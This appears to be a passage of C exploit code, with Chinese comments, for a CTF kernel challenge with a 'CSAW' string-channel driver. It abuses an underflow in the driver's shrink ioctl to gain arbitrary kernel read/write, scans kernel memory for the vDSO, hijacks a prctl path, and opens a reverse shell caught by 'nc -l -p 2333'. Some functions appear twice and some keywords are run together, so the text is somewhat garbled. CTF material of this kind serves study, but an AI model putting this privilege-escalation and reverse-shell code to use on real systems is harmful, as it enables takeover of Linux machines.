//获取vdso里的字符串"gettimeofday"相对vdso.so的偏移 intget_gettimeofday_str_offset() { //获取当前程序的vdso.so加载地址0x7ffxxxxxxxx //AT_SYSINFO_EHDR // The address of a page containing the virtual Dynamic // Shared Object (vDSO) that the kernel creates in order to // provide fast implementations of certain system calls. // 注意,只是返回加载vdso的页面,我们还需要从该页面中找到vdso位置 // 即使找到了该位置,也需要在内核映射区域中找到vdso.so size_t vdso_addr = getauxval(AT_SYSINFO_EHDR); char* name = "gettimeofday"; if (!vdso_addr) { errExit("[-]error get name's offset"); } //仅需要搜索1页大小即可,因为vdso映射就一页0x1000 size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name)); if (name_addr < 0) { errExit("[-]error get name's offset"); } return name_addr - vdso_addr; }
structalloc_channel_args { size_t buf_size; int id; };
structopen_channel_args { int id; };
structgrow_channel_args { int id; size_t size; };
structshrink_channel_args { int id; size_t size; };
structread_channel_args { int id; char *buf; size_t count; };
structwrite_channel_args { int id; char *buf; size_t count; };
structseek_channel_args { int id; loff_t index; int whence; };
structclose_channel_args { int id; };
intget_gettimeofday_str_offset() { //AT_SYSINFO_EHDR // The address of a page containing the virtual Dynamic // Shared Object (vDSO) that the kernel creates in order to // provide fast implementations of certain system calls. size_t vdso_addr = getauxval(AT_SYSINFO_EHDR); char* name = "gettimeofday"; if (!vdso_addr) { printf("[-]error get name's offset"); exit(-1); } size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name)); if (name_addr < 0) { printf("[-]error get name's offset"); exit(-1); } return name_addr - vdso_addr; }
// alloc one alloc_args.buf_size = 0x100; alloc_args.id = -1; int ret = -1; ret = ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_args); if(alloc_args.id == -1) { printf("bad alloc\n"); return-1; } printf("[+] alloc an channel at id %d\n",alloc_args.id); // change its size to get arbitary write shrink_args.id = alloc_args.id; shrink_args.size = 0x100+1; // vul, shrink size is `original size - this size` si we get -1 here ret = ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_args); printf("[+] now we have arbitary read/write\n"); // BEGIN OUR SEARCH unsignedint offset = get_gettimeofday_str_offset(); printf("[+] get offset: %u\n", offset);
// search in all mem for (size_t addr=0xffffffff80000000;addr < 0xffffffffffffefff;addr += 0x1000) { seek_args.id = alloc_args.id; seek_args.index = addr-0x10; // index is actually the begin of the place we want to search. seek_args.whence = SEEK_SET; // search from begin ret = ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args); // use channel_read to read channel's space read_args.buf = local_buf; read_args.count = 0x1000; read_args.id = alloc_args.id; ret = ioctl(fd,CSAW_READ_CHANNEL,&read_args); if (!strcmp(local_buf+offset,"gettimeofday")) { printf("[+] find vdso\n"); vdso_addr = addr; printf("[+] vdso in kernel addr: 0x%lx\n",vdso_addr); break; } }
// now we have hijacked kernel's prctl struct // fork a new process to call prctl if (fork() == 0) { //fork一个子进程,来触发shell的反弹 prctl(0,0); exit(-1); } else { printf("[+]open a shell\n"); system("nc -l -p 2333"); } }